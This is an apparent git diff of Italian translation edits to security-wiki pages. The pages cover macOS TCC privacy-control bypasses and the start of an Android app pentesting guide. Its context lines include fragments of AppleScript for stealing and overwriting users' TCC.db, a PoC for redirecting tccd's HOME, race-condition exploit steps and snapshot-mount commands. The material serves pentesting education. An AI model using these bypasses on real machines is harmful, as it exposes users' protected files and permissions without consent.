Tuttavia, per le app che devono **accedere** a **determinate cartelle utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, **non hanno bisogno** di avere diritti specifici. Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** secondo necessità.
|
||||
Tuttavia, per le app per **accedere** a **determinate cartelle utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, **non hanno bisogno** di avere diritti specifici. Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** secondo necessità.
|
||||
|
||||
Le app di Apple **non genereranno richieste**. Contengono **diritti pre-concessi** nella loro lista di **diritti**, il che significa che **non genereranno mai un popup**, **né** appariranno in nessuna delle **banche dati TCC**. Ad esempio:
|
||||
```bash
|
||||
@ -252,7 +252,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
> [!TIP]
|
||||
> È curioso che l'attributo **`com.apple.macl`** sia gestito dal **Sandbox**, non da tccd.
|
||||
>
|
||||
> Nota anche che se sposti un file che consente l'UUID di un'app nel tuo computer a un computer diverso, poiché la stessa app avrà UIDs diversi, non concederà accesso a quell'app.
|
||||
> Nota anche che se sposti un file che consente l'UUID di un'app nel tuo computer a un altro computer, poiché la stessa app avrà UIDs diversi, non concederà accesso a quell'app.
|
||||
|
||||
L'attributo esteso `com.apple.macl` **non può essere cancellato** come altri attributi estesi perché è **protetto da SIP**. Tuttavia, come [**spiegato in questo post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), è possibile disabilitarlo **zippando** il file, **eliminandolo** e **decomprendendolo**.
|
||||
|
||||
@ -333,7 +333,7 @@ Questa specifica autorizzazione TCC indica anche l'**applicazione che può esser
|
||||
In questo caso, la tua app avrebbe bisogno dell'autorizzazione **`kTCCServiceAppleEvents`** su **`com.apple.Finder`**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rubare il TCC.db degli utenti"}}
|
||||
{{#tab name="Furto del TCC.db degli utenti"}}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
osascript<<EOD
|
||||
@ -448,7 +448,7 @@ rm "$HOME/Desktop/file"
|
||||
|
||||
L'automazione su **`System Events`** + Accessibilità (**`kTCCServicePostEvent`**) consente di inviare **sequenze di tasti ai processi**. In questo modo potresti abusare di Finder per modificare il TCC.db degli utenti o per concedere FDA a un'app arbitraria (anche se potrebbe essere richiesta una password per questo).
|
||||
|
||||
Esempio di sovrascrittura del TCC.db degli utenti tramite Finder:
|
||||
Esempio di sovrascrittura del TCC.db degli utenti da parte di Finder:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
@ -514,7 +514,7 @@ Ma puoi **darti** **`diritti di automazione a Finder`**, e abusare della tecnica
|
||||
|
||||
### **FDA a autorizzazioni TCC**
|
||||
|
||||
**Accesso Completo al Disco** è il nome TCC **`kTCCServiceSystemPolicyAllFiles`**
|
||||
**Accesso completo al disco** è il nome TCC **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Non penso che questo sia un vero privesc, ma giusto nel caso lo trovi utile: Se controlli un programma con FDA puoi **modificare il database TCC degli utenti e darti qualsiasi accesso**. Questo può essere utile come tecnica di persistenza nel caso tu possa perdere le tue autorizzazioni FDA.
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### Bypass di scrittura
|
||||
|
||||
Questo non è un bypass, è solo come funziona TCC: **Non protegge dalla scrittura**. Se il Terminale **non ha accesso per leggere il Desktop di un utente, può comunque scriverci dentro**:
|
||||
Questo non è un bypass, è solo il modo in cui funziona TCC: **Non protegge dalla scrittura**. Se il Terminale **non ha accesso per leggere il Desktop di un utente, può comunque scriverci dentro**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
@ -39,7 +39,7 @@ Ulteriori informazioni e PoC in:
|
||||
|
||||
### Bypass SSH
|
||||
|
||||
Per impostazione predefinita, un accesso tramite **SSH aveva "Accesso completo al disco"**. Per disabilitarlo, è necessario averlo elencato ma disabilitato (rimuoverlo dall'elenco non rimuoverà quei privilegi):
|
||||
Per impostazione predefinita, un accesso tramite **SSH aveva "Accesso completo al disco"**. Per disabilitarlo è necessario averlo elencato ma disabilitato (rimuoverlo dall'elenco non rimuoverà quei privilegi):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -52,7 +52,7 @@ Qui puoi trovare esempi di come alcuni **malware siano stati in grado di bypassa
|
||||
|
||||
### Gestione delle estensioni - CVE-2022-26767
|
||||
|
||||
L'attributo **`com.apple.macl`** viene dato ai file per dare a una **certa applicazione i permessi per leggerlo.** Questo attributo viene impostato quando si **trascina** un file su un'app, o quando un utente **fa doppio clic** su un file per aprirlo con l'**applicazione predefinita**.
|
||||
L'attributo **`com.apple.macl`** viene dato ai file per dare a **una certa applicazione i permessi per leggerlo.** Questo attributo viene impostato quando si **trascina** un file su un'app, o quando un utente **fa doppio clic** su un file per aprirlo con l'**applicazione predefinita**.
|
||||
|
||||
Pertanto, un utente potrebbe **registrare un'app malevola** per gestire tutte le estensioni e chiamare i Servizi di avvio per **aprire** qualsiasi file (così il file malevolo avrà accesso per leggerlo).
|
||||
|
||||
@ -66,7 +66,7 @@ Per ulteriori **informazioni** sull'exploit per **ottenere token iCloud** da que
|
||||
|
||||
### kTCCServiceAppleEvents / Automazione
|
||||
|
||||
Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Questo significa che potrebbe essere in grado di **abuse dei permessi concessi alle altre app**.
|
||||
Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Questo significa che potrebbe **abusare dei permessi concessi alle altre app**.
|
||||
|
||||
Per ulteriori informazioni sugli Apple Scripts, controlla:
|
||||
|
||||
@ -115,7 +115,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
Il **daemon tccd** in userland utilizzava la variabile di ambiente **`HOME`** per accedere al database utenti TCC da: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Secondo [questo post di Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e poiché il daemon TCC viene eseguito tramite `launchd` all'interno del dominio dell'utente corrente, è possibile **controllare tutte le variabili di ambiente** passate ad esso.\
|
||||
Pertanto, un **attaccante potrebbe impostare la variabile di ambiente `$HOME`** in **`launchctl`** per puntare a una **directory** **controllata**, **riavviare** il **daemon TCC** e poi **modificare direttamente il database TCC** per concedersi **tutti i diritti TCC disponibili** senza mai richiedere l'intervento dell'utente finale.\
|
||||
Pertanto, un **attaccante potrebbe impostare la variabile di ambiente `$HOME`** in **`launchctl`** per puntare a una **directory controllata**, **riavviare** il **daemon TCC** e poi **modificare direttamente il database TCC** per concedersi **tutti i diritti TCC disponibili** senza mai richiedere all'utente finale.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
@ -182,20 +182,20 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
|
||||
Questa **variabile di ambiente è utilizzata dal framework `Metal`** che è una dipendenza per vari programmi, in particolare `Music`, che ha FDA.
|
||||
|
||||
Impostando quanto segue: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Se `path` è una directory valida, il bug si attiverà e possiamo usare `fs_usage` per vedere cosa sta succedendo nel programma:
|
||||
Impostando quanto segue: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Se `path` è una directory valida, il bug verrà attivato e possiamo usare `fs_usage` per vedere cosa sta succedendo nel programma:
|
||||
|
||||
- un file sarà `open()`ato, chiamato `path/.dat.nosyncXXXX.XXXXXX` (X è casuale)
|
||||
- un file verrà `open()`ato, chiamato `path/.dat.nosyncXXXX.XXXXXX` (X è casuale)
|
||||
- uno o più `write()` scriveranno i contenuti nel file (non controlliamo questo)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` sarà `renamed()` a `path/name`
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` verrà `renamed()` a `path/name`
|
||||
|
||||
È una scrittura temporanea di file, seguita da un **`rename(old, new)`** **che non è sicuro.**
|
||||
|
||||
Non è sicuro perché deve **risolvere i vecchi e nuovi percorsi separatamente**, il che può richiedere del tempo e può essere vulnerabile a una Condizione di Gara. Per ulteriori informazioni puoi controllare la funzione `renameat_internal()` di `xnu`.
|
||||
Non è sicuro perché deve **risolvere i vecchi e nuovi percorsi separatamente**, il che può richiedere del tempo e può essere vulnerabile a una Condizione di Gara. Per ulteriori informazioni, puoi controllare la funzione `renameat_internal()` di `xnu`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Quindi, fondamentalmente, se un processo privilegiato sta rinominando da una cartella che controlli, potresti ottenere un RCE e farlo accedere a un file diverso o, come in questo CVE, aprire il file creato dall'app privilegiata e memorizzare un FD.
|
||||
>
|
||||
> Se il rinomina accede a una cartella che controlli, mentre hai modificato il file sorgente o hai un FD ad esso, cambi il file di destinazione (o cartella) per puntare a un symlink, così puoi scrivere quando vuoi.
|
||||
> Se il rinominare accede a una cartella che controlli, mentre hai modificato il file sorgente o hai un FD ad esso, cambi il file di destinazione (o cartella) per puntare a un symlink, così puoi scrivere quando vuoi.
|
||||
|
||||
Questo era l'attacco nel CVE: Ad esempio, per sovrascrivere il `TCC.db` dell'utente, possiamo:
|
||||
|
||||
@ -205,22 +205,22 @@ Questo era l'attacco nel CVE: Ad esempio, per sovrascrivere il `TCC.db` dell'ute
|
||||
- attivare il bug eseguendo `Music` con questa variabile di ambiente
|
||||
- catturare l'`open()` di `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X è casuale)
|
||||
- qui apriamo anche questo file per scrivere e teniamo il descrittore di file
|
||||
- scambiare in modo atomico `/Users/hacker/tmp` con `/Users/hacker/ourlink` **in un ciclo**
|
||||
- scambiare atomicamente `/Users/hacker/tmp` con `/Users/hacker/ourlink` **in un ciclo**
|
||||
- lo facciamo per massimizzare le nostre possibilità di successo poiché la finestra di gara è piuttosto ristretta, ma perdere la gara ha un impatto trascurabile
|
||||
- aspettare un po'
|
||||
- testare se abbiamo avuto fortuna
|
||||
- se no, ripetere dall'inizio
|
||||
|
||||
Ulteriori informazioni in [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
Ulteriori informazioni su [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Ora, se provi a usare la variabile di ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, le app non si avviano
|
||||
> Ora, se provi a usare la variabile di ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, le app non si avvieranno
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
Come root potresti abilitare questo servizio e l'**agente ARD avrà accesso completo al disco** che potrebbe poi essere abusato da un utente per farlo copiare un nuovo **database utente TCC**.
|
||||
Come root potresti abilitare questo servizio e l'**agente ARD avrà accesso completo al disco**, che potrebbe poi essere abusato da un utente per farlo copiare un nuovo **database utente TCC**.
|
||||
|
||||
## By **NFSHomeDirectory**
|
||||
## Per **NFSHomeDirectory**
|
||||
|
||||
TCC utilizza un database nella cartella HOME dell'utente per controllare l'accesso alle risorse specifiche per l'utente in **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
|
||||
Pertanto, se l'utente riesce a riavviare TCC con una variabile di ambiente $HOME che punta a una **cartella diversa**, l'utente potrebbe creare un nuovo database TCC in **/Library/Application Support/com.apple.TCC/TCC.db** e ingannare TCC per concedere qualsiasi autorizzazione TCC a qualsiasi app.
|
||||
@ -244,11 +244,11 @@ Il **primo POC** utilizza [**dsexport**](https://www.unix.com/man-page/osx/1/dse
|
||||
6. Ferma il _tccd_ dell'utente e riavvia il processo.
|
||||
|
||||
Il secondo POC ha utilizzato **`/usr/libexec/configd`** che aveva `com.apple.private.tcc.allow` con il valore `kTCCServiceSystemPolicySysAdminFiles`.\
|
||||
Era possibile eseguire **`configd`** con l'opzione **`-t`**, un attaccante poteva specificare un **Bundle personalizzato da caricare**. Pertanto, l'exploit **sostituisce** il metodo **`dsexport`** e **`dsimport`** per cambiare la home directory dell'utente con un **iniezione di codice configd**.
|
||||
Era possibile eseguire **`configd`** con l'opzione **`-t`**, un attaccante potrebbe specificare un **Bundle personalizzato da caricare**. Pertanto, l'exploit **sostituisce** il metodo **`dsexport`** e **`dsimport`** per cambiare la home directory dell'utente con un **iniezione di codice configd**.
|
||||
|
||||
Per ulteriori informazioni controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
|
||||
Per ulteriori informazioni, controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
|
||||
|
||||
## By process injection
|
||||
## Per iniezione di processo
|
||||
|
||||
Ci sono diverse tecniche per iniettare codice all'interno di un processo e abusare dei suoi privilegi TCC:
|
||||
|
||||
@ -258,7 +258,7 @@ Ci sono diverse tecniche per iniettare codice all'interno di un processo e abusa
|
||||
{{#endref}}
|
||||
|
||||
Inoltre, la tecnica di iniezione di processo più comune per bypassare TCC trovata è tramite **plugin (load library)**.\
|
||||
I plugin sono codice extra solitamente sotto forma di librerie o plist, che saranno **caricati dall'applicazione principale** e verranno eseguiti nel suo contesto. Pertanto, se l'applicazione principale aveva accesso a file TCC riservati (tramite permessi o diritti concessi), il **codice personalizzato avrà anche accesso**.
|
||||
I plugin sono codice extra solitamente sotto forma di librerie o plist, che verranno **caricati dall'applicazione principale** e verranno eseguiti nel suo contesto. Pertanto, se l'applicazione principale aveva accesso a file TCC riservati (tramite permessi o diritti concessi), il **codice personalizzato avrà anch'esso accesso**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
@ -266,7 +266,7 @@ L'applicazione `/System/Library/CoreServices/Applications/Directory Utility.app`
|
||||
|
||||
Per armare questo CVE, il **`NFSHomeDirectory`** è **cambiato** (abusando del diritto precedente) per poter **prendere il controllo del database TCC degli utenti** per bypassare TCC.
|
||||
|
||||
Per ulteriori informazioni controlla il [**report originale**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
Per ulteriori informazioni, controlla il [**report originale**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
@ -303,7 +303,7 @@ Per ulteriori informazioni, controlla il [**rapporto originale**](https://wojcie
|
||||
|
||||
### Plug-in del Layer di Astrazione del Dispositivo (DAL)
|
||||
|
||||
Le applicazioni di sistema che aprono il flusso della fotocamera tramite Core Media I/O (app con **`kTCCServiceCamera`**) caricano **nel processo questi plugin** situati in `/Library/CoreMediaIO/Plug-Ins/DAL` (non soggetti a restrizioni SIP).
|
||||
Le applicazioni di sistema che aprono il flusso della fotocamera tramite Core Media I/O (app con **`kTCCServiceCamera`**) caricano **in questo processo questi plugin** situati in `/Library/CoreMediaIO/Plug-Ins/DAL` (non soggetti a restrizioni SIP).
|
||||
|
||||
Basta memorizzare lì una libreria con il **costruttore** comune per **iniettare codice**.
|
||||
|
||||
@ -418,7 +418,7 @@ exploit_location]; task.standardOutput = pipe;
|
||||
|
||||
### CVE-2020-9771 - bypass TCC di mount_apfs e escalation dei privilegi
|
||||
|
||||
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare un'istantanea di Time Machine e **accedere a TUTTI i file** di quell'istantanea.\
|
||||
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare uno snapshot di Time Machine e **accedere a TUTTI i file** di quello snapshot.\
|
||||
L'**unico privilegio** necessario è che l'applicazione utilizzata (come `Terminal`) abbia accesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), che deve essere concesso da un amministratore.
|
||||
```bash
|
||||
# Create snapshot
|
||||
@ -492,7 +492,7 @@ La cartella **`/var/db/locationd/` non era protetta dal montaggio DMG** quindi e
|
||||
|
||||
## Da grep
|
||||
|
||||
In diverse occasioni i file memorizzano informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).
|
||||
In diverse occasioni i file memorizzeranno informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).
|
||||
|
||||
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Nozioni di base sulle Applicazioni Android
|
||||
## Nozioni di Base sulle Applicazioni Android
|
||||
|
||||
È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
|
||||
|
||||
@ -13,7 +13,7 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
|
||||
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
|
||||
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **Rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
|
||||
|
||||
Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
|
||||
|
||||
@ -25,7 +25,7 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere
|
||||
## Altri trucchi interessanti
|
||||
|
||||
- [Spoofing della tua posizione nel Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (accesso privilegiato non root basato su ADB)](shizuku-privileged-api.md)
|
||||
- [API Privilegiata Shizuku (accesso privilegiato non root basato su ADB)](shizuku-privileged-api.md)
|
||||
- [Sfruttamento di meccanismi di aggiornamento in-app insicuri](insecure-in-app-update-rce.md)
|
||||
- [Abuso dei Servizi di Accessibilità (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
@ -84,7 +84,7 @@ L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può ri
|
||||
- **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
|
||||
- **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
|
||||
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata.
|
||||
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati, prestando particolare attenzione a come vengono gestiti gli schemi URL per le vulnerabilità di input.
|
||||
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli schemi URL per le vulnerabilità di input.
|
||||
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
|
||||
|
||||
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
|
||||
@ -116,12 +116,12 @@ android-task-hijacking.md
|
||||
|
||||
**Internal Storage**
|
||||
|
||||
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la **condivisione** dei file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
|
||||
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la **condivisione** di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** i file a **accessi non intenzionati o non autorizzati**.
|
||||
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verifica** i **permessi** impostati sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
|
||||
- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
|
||||
|
||||
**External Storage**
|
||||
|
||||
@ -166,12 +166,12 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
|
||||
|
||||
**Utilizzo di algoritmi insicuri e/o deprecati**
|
||||
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se si utilizzano **hash** per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti alla **forza bruta** con sale.
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash **resistenti** al brute-force con sale.
|
||||
|
||||
### Altri controlli
|
||||
|
||||
- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering per gli attaccanti.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per vedere se il mobile è rootato** e agire di conseguenza.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i **propri controlli per vedere se il mobile è rootato** e agire di conseguenza.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe controllare se viene utilizzato un **emulatore**.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata.
|
||||
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compilatore/pacchetto/offuscatore è stato utilizzato per costruire l'APK.
|
||||
@ -194,7 +194,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell
|
||||
|
||||
### Applicazioni Superpacked
|
||||
|
||||
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
|
||||
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
|
||||
|
||||
### Analisi statica automatizzata del codice
|
||||
|
||||
@ -247,18 +247,18 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
|
||||
|
||||
#### Utilizzando un emulatore
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **ultimi x86** versioni **supportano le librerie ARM** senza bisogno di un emulatore arm lento).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultimi x86** versioni **supportano le librerie ARM** senza necessità di un emulatore arm lento).
|
||||
- Impara a configurarlo in questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON** _**VirtualBox** per evitare potenziali errori._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Quando crei un nuovo emulatore su qualsiasi piattaforma, ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
|
||||
> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
|
||||
|
||||
Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente:
|
||||
|
||||
@ -277,7 +277,7 @@ Devi attivare le **opzioni di debug** e sarebbe utile se potessi **rootarlo**:
|
||||
5. Torna indietro e troverai le **Opzioni sviluppatore**.
|
||||
|
||||
> Una volta installata l'applicazione, la prima cosa che dovresti fare è provarla e indagare su cosa fa, come funziona e familiarizzare con essa.\
|
||||
> Ti suggerisco di **eseguire questa analisi dinamica iniziale utilizzando l'analisi dinamica di MobSF + pidcat**, in modo da poter **imparare come funziona l'applicazione** mentre MobSF **cattura** molti **dati interessanti** che puoi rivedere in seguito.
|
||||
> Ti suggerisco di **eseguire questa analisi dinamica iniziale utilizzando l'analisi dinamica di MobSF + pidcat**, così saremo in grado di **imparare come funziona l'applicazione** mentre MobSF **cattura** molti **dati interessanti** che puoi rivedere in seguito.
|
||||
|
||||
### Perdita di dati non intenzionale
|
||||
|
||||
@ -291,7 +291,7 @@ Gli sviluppatori dovrebbero prestare attenzione a non esporre **informazioni di
|
||||
|
||||
**Caching del buffer di copia/incolla**
|
||||
|
||||
Il framework **basato su clipboard** di Android consente la funzionalità di copia e incolla nelle app, ma presenta un rischio poiché **altre applicazioni** possono **accedere** agli appunti, esponendo potenzialmente dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
|
||||
Il framework **basato su clipboard** di Android consente la funzionalità di copia e incolla nelle app, ma presenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
|
||||
|
||||
**Log di crash**
|
||||
|
||||
@ -299,9 +299,9 @@ Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli
|
||||
|
||||
Come pentester, **cerca di dare un'occhiata a questi log**.
|
||||
|
||||
**Dati di analisi inviati a terzi**
|
||||
**Dati analitici inviati a terzi**
|
||||
|
||||
Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
|
||||
